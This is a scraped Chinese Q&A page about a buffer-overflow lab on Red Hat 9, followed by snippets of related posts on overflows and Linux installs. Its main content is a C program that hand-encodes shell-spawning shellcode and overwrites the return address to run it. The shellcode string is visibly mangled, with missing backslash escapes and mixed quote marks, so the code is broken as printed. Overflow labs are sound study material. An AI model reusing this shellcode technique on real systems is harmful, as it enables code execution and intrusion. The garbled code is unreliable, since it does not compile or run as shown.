ret-缓冲区溢出实验 red hat 9下,小写会转大写为什么得不到shell

问题描述

缓冲区溢出实验 red hat 9下,小写会转大写为什么得不到shell

test.c


#include
#include

char shellcode[] =
"xebx38x5e”
“x80x46x01x50”
“x80x46x02x50”
“x80x46x03x50”
“x80x46x05x50”
“x80x46x06x50"
"x89xf0x83xc0x08x89x46x08”
"x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xc3xdcxffxffxff”
“x2fx12x19x1ex2fx23x18”;

void main() {
int *ret;
ret = (int *)&ret + 2;
int i;
for(i=0;i<strlen(shellcode);i++)
shellcode[i]=toupper(shellcode[i]);
(*ret) = (int)shellcode;

}

解决方案

这是什么意图,是说toupper有缓冲区溢出的漏洞吗?
ps,返回地址多半不是&ret+2。

时间: 2024-12-04 10:14:08

ret-缓冲区溢出实验 red hat 9下,小写会转大写为什么得不到shell的相关文章

在linux下进行缓冲区溢出实验 出现illegal instruction

问题描述 在linux下进行缓冲区溢出实验 出现illegal instruction int main(int argc, int *argv[]) { char buf[10]; if(argc>1) strcpy(buf,argv[1]); return 0; } 编译时带有-fno-stack-protector,在第一参数为21字符时正常,22字符时出现illegal instruction,23字符时出点段错误. 请问22字符时的illegal instruction是怎么回事? 解

Red Hat Linux下安装多处理器(SMP)核心

安装步骤: 在Linux环境下,安装Linux多处理器核心有两种不同的情况,下面一一予以分析解答: 情况一: 在安装时,系统已经拥有多个处理器,客户可以直接将Linux安装为多处理器核心. 具体步骤: 1.用Red Hat Linux 6.2光盘启动机器,在出现"boot:"键入"text"回车,进入文本安装模式. 2.在"Package Group Selection"窗口,根据需要按空格键选择或删除软件包时,如果我们想要加入多处理器时,需要选

数据库-Red Hat 6.4 安装 oracle 11g 问题

问题描述 Red Hat 6.4 安装 oracle 11g 问题 一个 oracle 11g 把我整得头疼,好痛苦呀. 希望哪位大神帮忙看看............... [oracle@k database]$ Exception in thread "main" java.lang.UnsatisfiedLinkError: /tmp/OraInstall2016-01-02_09-48-47PM/jdk/jre/lib/i386/xawt/libmawt.so: libXext

浅谈缓冲区溢出之栈溢出&lt;下&gt;

上回我们简单的介绍了缓冲区溢出的基本原理和机器级代码的解释,对此类问题的分析和研究都必须建立在对程序的机器级表示有一定的了解的基础上.记得有句话是这样说的,"真正了不起的程序员是对自己代码的每一个字节都了如指掌的程序员."我们也许做不到每一字节,但至少得明晰机器级程序的组成结构和执行流程. 言归正传,我们今天在上回的基础上继续探索缓冲区溢出.之前的例子都是简单的通过越界访问来实现对程序执行流程的变动,而且执行的函数都是编译前写入的,那么如何对一个发行版的可执行程序进行缓冲区溢出呢? 首

Linux下缓冲区溢出攻击的原理及对策

前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患. 历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了.这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给

记在BT5下对Red Hat Enterprise Linux 5.4的一次渗透测试

理论联系实际才是最好的学习方法,我们在知道如何渗透攻击的同时,有人要开始尝试进行模拟真是的攻击. 渗透时,我们在发现某台机器开放了某些端口后,你能够不加思索的联想到如何利用相关的服务漏洞来展开攻击. 每次的攻击是否成功取决于目标主机的操作系统.安装的服务包(ServicePack)版本以及语言类型,同时还依赖于是否成功的绕过了数据执行保护(DEP:DataExecutionPrevention).DEP是为了防御缓冲区溢出而设计的.它将程序堆栈渲染为只读,防止shellcode被恶意放置在堆栈去

在Red Hat Linux 9下安装VMWare tools

环境 Red Hat Linux 9 + Windows 7 Ultimate +VMWare 7.1 问 题 Red Hat Linux 9安装VMWare tools 解决 1.VM-------- -->Install Vmwaretools---------->等待虚拟机挂载安装文件: 2.进入/mnt/cdrom---------->将VMwareTools-8.4.4-301548.tar.gz 拷贝到桌面: 3.选中VMwareTools-8.4.4-301548.tar.

red hat enterprise 5.4下安装mysql 5.6.10

完成上一次留下的话题,今天谈谈在red hat enterprise 5.4 下安装mysql 5.6.10 1:下载mysql 下载地址为:http://www.mysql.com/downloads/mysql/5.6.html#downloads 选择"Source Code"->"Generic Linux (Architecture Independent), Compressed TAR Archive" 当然还需要一个工具cmake(因为这个my

缓冲区溢出攻防

很久以来,在人们心目中,"黑客"和病毒作者的身上总是笼罩着一层神秘的光环,他们被各种媒体描述成技术高手甚至技术天才,以至于有些人为了证明自己的"天才"身份而走上歧途,甚至违法犯罪.记得不久前就看到过这样一个案例:一位计算机专业研究生入侵了一家商业网站并删除了所有数据.当他在狱中接受记者的采访时,他非常自豪地说这样做只是为了证明自己和获得那种成就感. 本文讨论的缓冲区溢出攻击实际上是一项非常"古老"的技术,但它的破坏力依然不可小视--相信大家都还没